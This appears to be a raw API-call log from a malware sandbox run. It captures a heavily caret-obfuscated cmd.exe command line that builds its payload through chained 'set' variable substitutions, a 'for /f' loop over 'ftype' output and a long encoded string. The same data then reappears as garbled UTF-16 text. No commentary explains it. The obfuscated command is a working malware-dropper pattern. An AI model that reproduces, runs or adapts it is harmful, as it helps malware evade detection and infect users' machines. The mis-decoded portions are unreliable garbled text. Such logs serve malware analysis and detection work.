(S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) ,   ) ,   )&( ,   , ,   (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) ,  )&& (   (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!),  )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!),   ,  ,  )&   ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&&  (   ,  ;  ,  ( , ; , ;   ,   (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!)  ,   ) , , )&&  (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&&   ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&&  ( , ; ,   ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!)   ,   ;  ,  ;  ,  )&  (   ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!)   ,  )   ,  ;, )&   ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ;  , )& ( ( ,  , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )&  (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) )&&( ,   ( ,   (^s^e^t  ^ ^ ^;^]=^!^'^}^_^-^:^j^U=^D^!) )   , )&( ; (^s^e^T ^ ^ ^`^\\^+=^!^;^]^:^,^=^c^!) ; ; )&&( , ( , (S^e^T ^_^@^.^-=^!^`^\\^+:^i^y^=^8^!) , , ) , , )&(^S^e^t ^ ^ ^ ^$^'=^!^_^@^.^-^:^u^=^B!)&& (,   ; , (^S^e^T ^.^,^`^_=^!^$^'^:^v^=^u!) )&&   (^s^e^t ^ ^'^,`^+=^!^.^,^`^_^:^a^x^d^=,^!)&&( , ( , (^S^Et ^ ^ ^ ^,^_^}^~=^!^'^,^`^+^:^7^y=^V^!) , ) ; ; )&&   ( ; ; ; ( (s^E^T ^'^{=^!^,^_^}^~^:k^V^=^p^!) , ) ; )&  ( ,  ( ;   ;   (^s^e^T ^-^}^#=^!^'^{:^T^d^=^L^!)   ,  ,  ,)   ,, ,)&   ( , , ( , (^S^e^T ^ ^$^+=^!^-^}^#^:^T^g^=^Y^!) , , ) ;   ; )&&  (  ,  , (S^e^t ^ ^ ^_^'^*^{=^!^$^+^:^Q^I=^k^!) ; )&  (^s^E^T ^ ^ ;^`^}^~=^!^_^'^*^{^:G^C^V^=^t!)&(  , , ,(^S^e^T ^ ^+^?^.^,=^!^;^`^}^~^:^F^l^=^f^!) )&(^s^E^T ^ ^'^]") returned="CMD.Exe                  /c ^F^o^r ; /^f ;; \"   tokens=  +2 delims=FeH\"  , %^1,;  iN  ,  (  ,  ',  , ^^f^^t^^Yp^^e  ;^|;^^f^^IN^^d ,  ;,  \"SHCm\" , , ;  ' ; ,  )  , ,  ,^d^O ,%^1,  ;  ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ ,  cw8f/^r \",  (   , ;  ,   ;  ,( ,  ;   , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!)   ; ; ;  ) )&&   ( ,  (,  (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ;  )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) ,   ) ,   )&( ,   , ,   (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) ,  )&& (   (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!),  )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!),   ,  ,  )&   ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&&  (   ,  ;  ,  ( , ; , ;   ,   (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!)  ,   ) , , )&&  (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&&   ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&&  ( , ; ,   ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!)   ,   ;  ,  ;  ,  )&  (   ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!)   ,  )   ,  ;, )&   ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ;  , )& ( ( ,  , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )&  (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) )&&( ,   ( ,   (^s^e^t  ^ ^ ^;^]=^!^'^}^_^-^:^j^U=^D^!) )   , )&( ; (^s^e^T ^ ^ ^`^\\^+=^!^;^]^:^,^=^c^!) ; ; )&&( , ( , (S^e^T ^_^@^.^-=^!^`^\\^+:^i^y^=^8^!) , , ) , , )&(^S^e^t ^ ^ ^ ^$^'=^!^_^@^.^-^:^u^=^B!)&& (,   ; , (^S^e^T ^.^,^`^_=^!^$^'^:^v^=^u!) )&&   (^s^e^t ^ ^'^,`^+=^!^.^,^`^_^:^a^x^d^=,^!)&&( , ( , (^S^Et ^ ^ ^ ^,^_^}^~=^!^'^,^`^+^:^7^y=^V^!) , ) ; ; )&&   ( ; ; ; ( (s^E^T ^'^{=^!^,^_^}^~^:k^V^=^p^!) , ) ; )&  ( ,  ( ;   ;   (^s^e^T ^-^}^#=^!^'^{:^T^d^=^L^!)   ,  ,  ,)   ,, ,)&   ( , , ( , (^S^e^T ^ ^$^+=^!^-^}^#^:^T^g^=^Y^!) , , ) ;   ; )&&  (  ,  , (S^e^t ^ ^ ^_^'^*^{=^!^$^+^:^Q^I=^k^!) ; )&  (^s^E^T ^ ^ ;^`^}^~=^!^_^'^*^{^:G^C^V^=^t!)&(  , , ,(^S^e^T ^ ^+^?^.^,=^!^;^`^}^~^:^F^l^=^f^!) )&(^s^E^T ^ ^'^]"
	[0053.842] GetLastError () returned 0x0
	[0053.843] SysStringByteLen (bstr="䵃⹄硅⁥††††††††⼠⁣䙞潞牞㬠⼠晞㬠※•†潴敫獮‽⬠′敤楬獭䘽䡥•Ⱐ┠ㅞ㬬†乩†‬⠠†‬✠‬Ⱐ帠晞幞年奞幰敞†帻㭼幞幦䥞幎摞Ⱐ†ⰻ†匢䍈≭ⰠⰠ㬠†‧※‬⤠†‬‬Ⱐ摞佞Ⱐ帥ⰱ†※㬠㬠瀠畐慸癲⽞噞幃平并帴帰幢幬幢湫⁞⁞⁞‬挠㡷⽦牞∠‬⠠†Ⱐ㬠†‬†※Ⱐ
‬㬠†Ⱐ㬠㬬‬猨敞呞⁞⁞⁞⁞⁞⭞繞絞㵻敞潞㉞㡞偞䝞䍞㝞神央⹞奞敞潞㉞癞呞摞嵞䙞㍞灞扞晞㙞䭞❞⹞奞ㅞ⹞奞䁞潥㉞桞㡞偞婞㝞神常幐帳幰幔幤幥帳帷幻幪湕偞橞⭹䁞敞潞㉞╞穞睞䱞桞睞呌摞㍞幰幥帳帷幻幪湕⍞偞橞神⭞㉞塞扞㉞⥞⹞奞ㅞㅞ㉞敞幯帲帲師㘲㍞灞⹞奞䙞帳幰帲師帲幝帲師帲帮幙幱幆帳幰幢书㉞⭞㉞㡞偞㑞ⵞ偞橞㍞兞敞䅞䍞桞㡞偞婞㡞偞ⱞ帲師帲䍇㝞神㉞⭞㉞孞帲師帲帷幋帲師帲帳帷㜳ⵞ╞㉞⭞㉞恞幫帷幹常幐帮幙㜭䭞敞潞帲帲師帲潥㉞㡞偞㍭兞幥䍁㍞灞幠帲㈫煞䙞㍞灞扞书㙞浞㡞偞⹞奞䅞䍞㙞㝞橞桞幠幥幯帲幇幃帷幹常幐幭帧幪幕幝帶帲師帲帴帲師帲湚⹞䅞幃帶帷幛帲師帲幆帳幰晢扞晞歞礷畞畞兞敞㍞㝞敞潞㉞㉞師帲帶幋幆帳幰幝央橞桞幠幥幯帲幇幃帷幹常幐帲師帲幭帧帲師帲幪幕幝帶帴湚㉞⭞帲帮帧幵帲師帲幚幇幃帷幹幭帶幫帷幹帱䘱㍞灞嵞⹞奞煞䙞㍞灞扞晞幎常幐幇幃帷❹幡帲師帲常幐帳救幁幃帷幹幪㙕㉞⭞帲瀳婞常湐䝞䍞帷幹帩帧帲師倲幪幫帷幹常湐剞㡞偞㙞㍞㝞ㅞ䅞䍞帶帲師帲帷帲師帲帥幺幷桌幇幃礷䝞䍞帷幹幫帷幹幥幯帲常帠帬帮⸬婞浞㙞帮⬲㉞㡞偞敞潞㉞㑞硡❞婞幭帮帳幑幥䍁塞帲師帲帷帧帬幘帲㈫浞ⱞ⹞䅞䍞⁞ⱞ⹞䙞帳幰幪湕ⱞ⹞㉞⭞㉞⹞㙞䝞䍞㝞神帴幡幸幵幑幥帷幹幥㉯䭞幟幘帧帲師帲幫帷湹⹞䅞䍞㙞㝞㉞⭞帲帩帩幛帲師帲㍆灞扞晞扞晞歞㝞神畞畞兞敞㉞⭞㉞幭幑幥帶䙋㍞灞嵞⹞奞畞恞帲師帲幇幃礷㉞師帲常幐幻橐幹帮幙帲師帲帴幡橸啞幮幈帠ㅛ⁞❞㉞⭞㉞❞䡞⥞㍞兞敞䅞䍞㉞⭞㉞橞桞㉞⭞㉞桞㡞偞潚属䙞㍞灞塞嵞㡞偞㙞ⱞ╞穞睞䱞幨帱帲師帲幆帳幰幢幦帲師帲幢幦帲師欲㝞神畞幵幑幥帷央婞幮帱帠帧帧幈帲師帲帴幡幸帨帲師帲帩尩䙞㍞扰晞扞晞歞㝞神幵幵幑幥帲師䜲䍞㝞神㉞⭞㉞䝞䍞㝞神㙞䭞䙞㍞灞扞晞幢幦幫帷幹幵幵幑幥帳攷潞㉞❞㙞睞幌常幐帲師帲幇幃帷幹幇幃帷祹婞㝞㡞偞㍞幰帱幆瀳幢扦晞歞㝞神畞畞兞敞㝞㙞硞摞㉞⭞㉞䙞㍞灞扞晞㉞⭞㉞扞晞歞㝞神畞幵幑彥㉞⭞㉞⥞幛幆帳幰晢扞晞歞㝞神畞畞兞敞浞兞幥帲師帲䙻㍞灞扞晞扞晞歞㝞神幵幵幑幥⬲㉞彞㩞䡞㑞慞硞楞神師幆帳幰晢扞晞歞㝞神畞畞兞幥倷橞幹䬶ㅞ筞浞㙞䝞䍞礷╞穞睞䱞桞偞橞神㡞⁞㡞⁞幺幷幌幨帲師帲帳幰幘帲師帲幘幝帱帱幆瀳幢幦幢幦帲師帲幫帷幹幵兵敞䝞䍞㝞神䝞䍞㝞神❞畞ⵞ㍞兞敞䅞䍞㙞幮帳帷幪湕㕞⥞㩞橞啞扮晞⥞席帳救䅞幃幘幝帲㈫ㅞ䙞㍞灞扞晞扞晞歞㝞神畞畞幑幥幇幃帷㉹⭞帲幇幃帷幹帧帶幷幌帮幙席帳幑幥幁幃渶㍞帷央橞啞幮帵帩帩幽帲師帲孽㉞⭞帲幥帲師帲幷幌托ㅞ㉞⭞㉞筞橞幨幠幥㉯幇㝃神㉞⭞帲常幐幭帧帥常幐帷帲師䜲䍞㝞神❞睞䱞帲師渲ⱞ塞㍞㝞湚㉞⭞㉞⹞㉞⭞㉞偞祪㡞⁞㡞⁞㝞䭞幪幨帷幹幪幕帶敥❞㉞⭞㉞㙞睞䱞常幐幇幃帷幹幪幨⬲㉞䍇㝞神嵞婞幮帮帱㍆灞扞晞扞晞帲師帲幫帷幹幵幵幑幥帲師洲兞敞筞⁞❞㉞⭞㉞❞㉞師帲幪湕㉞⭞㉞䅞䍞⁞⡞帲師帲幐幪幹㈩⭞㉞⥞㉞⥞❞剞㡞偞歞㝞神瀳㙞㝞神橞啞㙞幷幌帱帲幁幃帶帷帲帶幸幤幻幥幯帲帥幒湥㙞睞䱞偞橞幹幻帷幹幪幕帶帥幺幷桌㝞䭞嵞偞橞神⍞䡞⥞❞剞常歐㝞神㍞灞㙞㝞神橞啞㙞睞䱞ㅞㅞ筞㝞幹幪幕帶帥幺幷桌㝞䭞嵞偞橞神䅞䍞幩幹師幻帷幹幪幕帶帥睺䱞桞帷嵋幐幪楹神⍞師幻帷幹幪幕帶稥睞䱞桞帷幋幝幐祪橞啞幮帠幢幦帩帶幸幤幻幥幯帲別敞㙮幷幌幐幪幹幻帷幹啪㙞╞穞睞䱞桞㝞䭞嵞幐幪幹啪幮帴幡幸幈帩帧幒倸歞㝞神㍞幰帶帷幹幪幕帶䱷帱帱幻帷幹幪幕帶帥幺幷幌幨帷幋幝幐幪幹幪湕橞啞幮幩幹笫㝞幹幪㙕╞穞睞䱞桞㝞䭞嵞偞橞神㕞䡞⭞筞礷橞啞㙞╞穞睞䱞桞㝞䭞嵞偞祪楞神橞啞幮帩砶摞筞敞潞㉞╞剞敞幮帶幷幌幐幪幹幻帷幹幪㙕╞穞睞幌幨帷幋幝幐祪⍞扞幦帩帩幞带幞带帮幙幥幯㠲偞╞帮幙帮幙帶幪幕⽥幠帶幋幷幌帬帥睺䱞桞偞幪帮幙帱帮幚帮幙幆瀳扞晞㙞剞幥帷幋帳幑幥幁幃帳幰常幐常帠常幐帺幘幢幇㝃神⥞❞㝞㙹呞摞癞幷幌帧湥幆瀳扞晞偞橞兞敞睞㝌神橞啞㙞塞浞畞兞敞㙞幮啪❞敞幱幆瀳扞晞幎帷幹幐幪幑幥常幐幥幯帲帷橹啞㙞剞婞䝞䍞㝞神神╞ㅞㅞ幔幤幪幨帮幙常幐䙱㍞灞幢书㝞神㡞帠幥幯帲帳幔幤幝帷幹帩帧幆帳扰晞㙞呞幤帳倸帮幙帮幙帩帮⹙奞幞幞幞籞䝞䍞帷幹幹幐幪帴幷幌幒幥幯帲㡨偞婞帷幹幷幌帳幰幔幤帮幙帮幙渭塞煞䙞㍞灞扞晞幎幚幱幆帳幰幢书╞睞䱞嵞㙞㝞神橞啞㙞╞敞⹞奞⹞奞ⵞ煞䙞㍞灞扞晞塎㍞灞偞橞⹞幙席帴幚䙱㍞灞扞晞幎帮幙帥幺幷桌敞㍞㝞㍞㝞常湐⹞奞ⵞ㡞偞㝞㡞偞ⱞ癞╞幥幐幪幱幆帳扰晞幎幫帷幹幐呪摞敞帬帮幙帳幑幥幁幃幠䍇㝞神幹䬷橞桞橞桞⹞奞⹞奞ⵞ幮幐幪幇幃帷幹幹偝橞幺幷桌敞㍞灞㡞偞⹞幙帮幙席帷幹幪幕倶橞浞畞兞敞㝞䭞煞䙞㍞灞幢书㍞㝞⹞奞⹞奞央⹞奞⹞奞幞幞幞幞幞幞幞♞ㅞ⹞奞䁞㡞偞煞䙞㍞灞扞晞幎帷幹常帠帷幹幪㙕幘幭幥幯帲幇幃帷幹幹常幐帬幻幈帶幸幤帴幡䡸㙞硞摞㑞慞硞㕞偞橞神ⵞ呞幤幑幘湥㉞帲帩帱幀湚歞礷癞╞⹞奞⥞⹞奞⹞奞幞♞幞♞⹞奞⹞奞ⱞ浞帳帷帧常幐帷幷⹌奞⹞奞⹞奞ⱞ⹞ⱞ⹞奞潞㙞帳帷幚帯幔帮⥯Ⱐ⤠㬠㬠㬠⤠⠦†※
㬠†※※†帨幓幥⁴属ⱞ絞㵟⅞⭞繞絞筞㩞幁幃帽帹⤡†㬠㬠㬠†
☩…†
‬⠠‬⠠獞敞呞帠帠帠帠幠㴿⅞属ⱞ絞彞㩞敞潞㉞㵞獞⅞
‬‬
※※⤠☦
‬
※※匨敞呞帠帠幀幛㵾帡幠㨿敞㵞䥞⅞
‬†
‬†☩
‬†‬‬†帨幓幥⁔⁞⁞⁞䁞⭞⩞帽帡幀幛幾帺帮帽幧⤡Ⱐ†☩…
†猨䕞呞帠帠幛㵻⅞䁞⭞⩞㩞㡞偞㵞幥⤡‬⤠…
※※※帨幓幥⁔⁞筞䁞絞帽帡幛幻✺㵞帮⤡‬†‬Ⱐ†☩†⠠㬠⠠獞䕞瑞帠帠幜㵻⅞筞䁞絞㩞㉞㵞❞⅞
‬☩…⠠†Ⱐ†※Ⱐ†
‬※‬※†‬†帨平幅⁔絞嵞ⱞ⑞帽帡幜幻帺幡帽幗⤡†‬†
‬‬☩…⠠獞敞呞帠幜㵛⅞絞嵞ⱞ⑞㩞㙞㵞慞⅞☩…†

※※※猨敞瑞帠帠帠幠幝㴤⅞属孞㩞㑞坞硞㵞㉞⅞

☩…⠠Ⱐ㬠Ⱐ†㬠‬帨幓幥⁔⁞⁞恞ⵞ⑞ℽ恞嵞⑞戺㵦㙞⤡†Ⱐ†㬠†‬㬠†‬⤠…⠠†ⰠⰨⰻ※‬帨平呅帠帠嬠⑞䁞⭞帽帡幠席帤帺帷幋帽幁⤡†Ⱐ†
†‬㬠‬☩†⠠Ⱐ⠠卞敞瑞帠幀㴭⅞孞⑞䁞⭞帺帳㵰汞⅞
※※※☩⠠卞敞⁴⁞⁞⁞繞恞⩞㽞帽帡幀席帺帺帽帪⤡☦
‬‬帨平幥⁴⍞㭞帽帡幾幠帪帿帺幷幌帽幅⤡Ⱐ※‬※Ⱐ⤠…

‬Ⱐ⠠獞敞呞帠帠帪幻㵛⅞⍞㭞帺帠帽帰⤡Ⱐ⤠⤠…⠠獞敞⁴⁞䁞⍞㽞⹞帽帡帪幻幛帺幧幙帽帠⤡⠦Ⱐ⠠ⰠⰠ⠠卞䕞呞帠帠帧幽幟㴭⅞䁞⍞㽞⹞㩞㡞ぞ㵞㩞⅞
※※
☩⠦Ⱐ†⠠Ⱐ†⠠獞敞瑞†⁞⁞㭞嵞帽帡帧幽幟席帺幪㵕䑞⅞

†‬☩
※帨平幥⁔⁞⁞恞属⭞帽帡帻幝帺帬帽幣⤡㬠㬠⤠☦
‬
‬匨敞呞帠幟幀帮㴭⅞恞属⭞帺幩幹帽常⤡ⰠⰠ⤠ⰠⰠ⤠⠦卞敞瑞帠帠帠帠帤㴧⅞彞䁞⹞ⵞ㩞畞㵞䉞⤡☦⠠‬†※‬帨幓幥⁔⹞ⱞ恞彞帽帡帤帧帺并帽ⅵ
☩…†帨平幥⁴⁞❞ⱞ幠㴫⅞⹞ⱞ恞彞㩞慞硞摞㵞帬⤡☦
‬
‬帨幓瑅帠帠帠帠帬幟幽㵾⅞❞ⱞ恞⭞㩞㝞神帽幖⤡Ⱐ⤠㬠㬠⤠☦†⠠㬠㬠㬠⠠⠠平幅⁔❞筞帽帡帬幟幽幾欺噞㵞灞⅞
‬
※☩†
‬⠠㬠†㬠†⠠獞敞呞帠席幽㴣⅞❞筞帺幔幤帽幌⤡†Ⱐ†‬Ⱐ
†ⰬⰠ☩†⠠ⰠⰠ⠠Ⱐ⠠卞敞呞帠帠帤㴫⅞ⵞ絞⍞㩞呞杞㵞奞⅞
‬‬
※†※☩…⠠†‬Ⱐ⠠幓幥⁴⁞⁞彞❞⩞筞帽帡帤師帺幑㵉歞⅞
※☩†帨平幅⁔⁞⁞帻幠幽㵾⅞彞❞⩞筞㩞幇幃幖帽ⅴ☩
ⰠⰠⰠ帨幓幥⁔⁞⭞㽞⹞ⱞ帽帡帻幠幽幾帺幆幬帽幦⤡⤠⠦獞䕞呞帠帠帧]") returned 0x16d3
	[0053.843] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcff228, cbMultiByte=5843, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5843
	[0053.844] SysStringByteLen (bstr="䵃⹄硅⁥††††††††⼠⁣䙞潞牞㬠⼠晞㬠※•†潴敫獮‽⬠′敤楬獭䘽䡥•Ⱐ┠ㅞ㬬†乩†‬⠠†‬✠‬Ⱐ帠晞幞年奞幰敞†帻㭼幞幦䥞幎摞Ⱐ†ⰻ†匢䍈≭ⰠⰠ㬠†‧※‬⤠†‬‬Ⱐ摞佞Ⱐ帥ⰱ†※㬠㬠瀠畐慸癲⽞噞幃平并帴帰幢幬幢湫⁞⁞⁞‬挠㡷⽦牞∠‬⠠†Ⱐ㬠†‬†※Ⱐ
